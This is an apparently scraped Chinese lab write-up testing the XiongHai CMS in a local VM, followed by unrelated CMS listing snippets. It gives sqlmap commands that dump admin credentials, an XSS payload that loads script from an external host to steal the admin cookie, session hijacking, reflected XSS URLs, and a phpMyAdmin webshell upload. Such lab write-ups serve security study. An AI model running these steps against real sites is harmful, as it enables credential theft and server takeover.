CMS-熊海网站内容管理系统漏洞测试

开门见山



在虚拟机中搭建网站,本机访问http://192.168.31.68/


一、SQL注入获取管理员账号密码

1. 点开一篇文章,存在get请求参数

2. 手工注入无果,使用sqlmap,后跟-p接指定参数,验证是否存在sql注入

sqlmap.py -u "http://192.168.31.68/?r=content&cid=4" -p "cid"

3. 爆数据库

sqlmap.py -u "http://192.168.31.68/?r=content&cid=4" -p "cid" --dbs

4. 爆表

sqlmap.py -u "http://192.168.31.68/?r=content&cid=4" -p "cid" -D test --tables

5. 爆字段

sqlmap.py -u "http://192.168.31.68/?r=content&cid=4" -p "cid" -D test -T manage --columns

6. 爆值

sqlmap.py -u "http://192.168.31.68/?r=content&cid=4" -p "cid" -D test -T manage -C user,password --dump

7. MD5解密63a9f0ea7bb98050796b649e85481845  为  root

得到管理员的账号密码 admin /root

可以进一步登进后台操作


二、存储型XSS获取管理员cookie

1. 在xss平台上配置监听端口

2. 复制代码,<sCRiPt sRC=http://xss.fbisb.com/tHbs></sCrIpT>

3. 在表单中插入xss脚本

4. 发表成功,等待管理员登录后台查看留言,

5. 监听段得到服务端反弹过来的信息,得到管理员的cookie

6. 找到网站后台,登录抓包

把cookie替换陈管理员的cookie,并且记得要换上面的目标网址把login.php换成index.php,需要改多个包,发包进入后台


三、反弹型xss

http://192.168.31.68/?r=content&cid=5‘ <img src=1 onerror=alert(/xss/)>

http://192.168.31.68/?r=list&class=3&page=1‘<img src=1 onerror=alert(/xss/)>


四、Phpmyadmin弱口令上传一句话

账号密码为root/root

进去执行SQL上传文件语句

有phpinfo.php知道绝对路径

菜刀连接



CMS-熊海网站内容管理系统漏洞测试

原文地址:https://www.cnblogs.com/joker-vip/p/12268996.html

时间: 2024-10-31 17:39:39

CMS-熊海网站内容管理系统漏洞测试的相关文章

10个开源的PHP网站内容管理系统

1. DEDE -这是一款国内开源的cms,作者是一个个人,能做出如此功能的cms,是相当不错的.2007版功能十分强大,希望能改善之前数据量一大,更新静态页就很慢的缺点.因为开源,有较多的玩家和拥护者.非常适合有一定编程基础的站长.官方:http://www.dedecms.com 2. phpcms-一个综合的网站管理系统,由PHP+MYSQL构架全站生成html,能够快速高效地应用于LINUX和WINDOWS服务器平台,是目前中国LINUX环境下最佳的网站管理应用解决方案之一.据传被酷6收

30 个很棒的 PHP 开源 CMS 内容管理系统

本文汇集了30个优秀的开源CMS建站系统,采用PHP开发.以下列表不分先后顺序. 1. AdaptCMS AdaptCMS Lite 是一个开源的CMS系统,主要特点是易用,而且可以轻松和其他系统接驳,提供简单的扩展定制途径,一个简单而且功能强大的模板系统,以及更多很有用的功能. 2. OneCMS OneCMS是一个适合管理游戏的内容管理系统.它可以很容易的通过自己的一些功能诸如额外的论坛软件,定制区域,定制分类等等来管理站点内的内容.游戏. 3. Pluck Pluck 是一个小型而且简单的

支撑电子政务平台的CMS内容管理系统

随着政府信息化的逐步深入,基层(包括县乡以及政府各部门)的电子政务平台建设开始演绎主角.电子政务平台正从“面”渗透到“点”,数据中心平台正从中大型应用转向基层中小型应用,电子政务云平台的发展推动了政务信息的互联互通.信息共享.业务协同,强化了信息资源的整合,规范了采集和发布,加强了社会综合开发利用. 建设电子政务公共平台是电子政务发展到深化应用.突出实效阶段的重要举措,未来一段时间内,应以省级平台为主建设统一的电子政务公共平台,带动市(区.县)的电子政务公共平台建设,让政府部门在体验“云”的便捷

CMS: 内容管理系统

CMS是Content Management System的缩写,意为"内容管理系统". 内容管理系统是企业信息化建设和电子政务的新宠,也是一个相对较新的市场.业界公认的国内比较权威的产品有思拓合众CmsTop.PHPCMS.TurboCMS.对于内容管理,业界还没有一个统一的定义,不同的机构有不同的理解. 产生: 随着网络应用的丰富和发展,很多网站往往不能迅速跟进大量信息衍生及业务模式变革的脚步,常常需要花费许多时间.人力和物力来处理信息更新和维护工作:遇到网站扩充的时候,整合内外网

最近发现国内有一款很不错的基于Java的CMS内容管理系统推荐给大家,希望能给你带来帮助

雷铭内容管理系统LMCMS 雷铭CMS是一款Java内容管理系统,基于JAVAEE主流架构模式, Spring+SpringMvc+Hibernate+Freemarker+bootstrap结构,让开发变得更简单易维护,采用高性能稳定的网络技术架构实现访问请求动静分离以及结合多级缓存机制,保证网站的快速访问,承受较大用户并发.SEO高强度内聚及个性维护,为推广助一臂之力! JAVA是一种高安全.易维护.跨操作系统.面向对象的高级语言,是一种软件开发的国际性标准语言体系,我们将采用此语言以最低的

初次认识dedecms和帝国cms内容管理系统

近乎完美的内容模块管理 强大的内容管理系统,细致入微 其原理都是 先建立一个 模板系统 然后动态生成静态页面 注意各个板块和栏目的设置  在迁移网站的时候 尤其需要注意的是 系统参数的 根目录 需要及时变更和设置 否则在生成静态页面的 时候 页面的 变量不会随着后台的改变而更新内容 若有时间可以把这个好好熟悉下,学习更多的标签以及主题模板制作

PHP一个最简单的CMS内容管理系统

博客是一般程序员的入手戏,写得好写不好,有没有兴趣,逻辑性够不够都从这个里面入手 我现在摒弃前台.重点讲解下如何开发一个简单的CMS系统所需要的步骤: 1.清楚流程 1--------登录后台 2--------登录成功后可以进行管理权限的判断,然后进行管理信息的分配 3--------管理信息分为: 添加信息    进行单条信息的修改     删除信息(单条,多条)   查询信息 4--------数据库的设计,用户表  信息内容表 ,栏目表(进行查询后分类,最好做成无限栏目分类) 5----

ThinkPHP项目CMS内容管理系统开发视频教程【20课】(3.02GB)

ThinkPHP背景介绍:     ThinkPHP是一个免费开源的,快速.简单的面向对象的轻量级PHP开发框架,遵循Apache2开源协议发布,是为了敏捷WEB应用开发和简化企业级应用开发而诞生的.拥有众多的优秀功能和特性,经历了三年多发展的同时,在社区团队的积极参与下,在易用性.扩展性和性能方面不断优化和改进,众多的典型案例确保可以稳定用于商业以及门户级的开发.教程目录:第1讲ThinkPHP搭建CMS项目设计01.rmvb 123.2MB第2讲ThinkPHP搭建CMS项目设计02.rmv

网站漏洞修复被 提示该网站内容被禁止访问

很多建站公司都在使用Kindeditor开源的图片上传系统,该上传系统是可视化的,采用的开发语言支持asp.aspx.php.jsp,几乎支持了所有的网站可以使用他们的上传系统,对浏览器的兼容以及手机端也是比较不错的,用户使用以及编辑上传方面得到了很多用户的喜欢. 前端时间我们SINE安全对其进行全面的网站漏洞检测的时候发现,Kindeditor存在严重的上传漏洞,很多公司网站,以及事业单位的网站都被上传违规内容,包括一些赌博的内容,从我们的安全监测平台发现,2019年3月份,4月份,5月份,利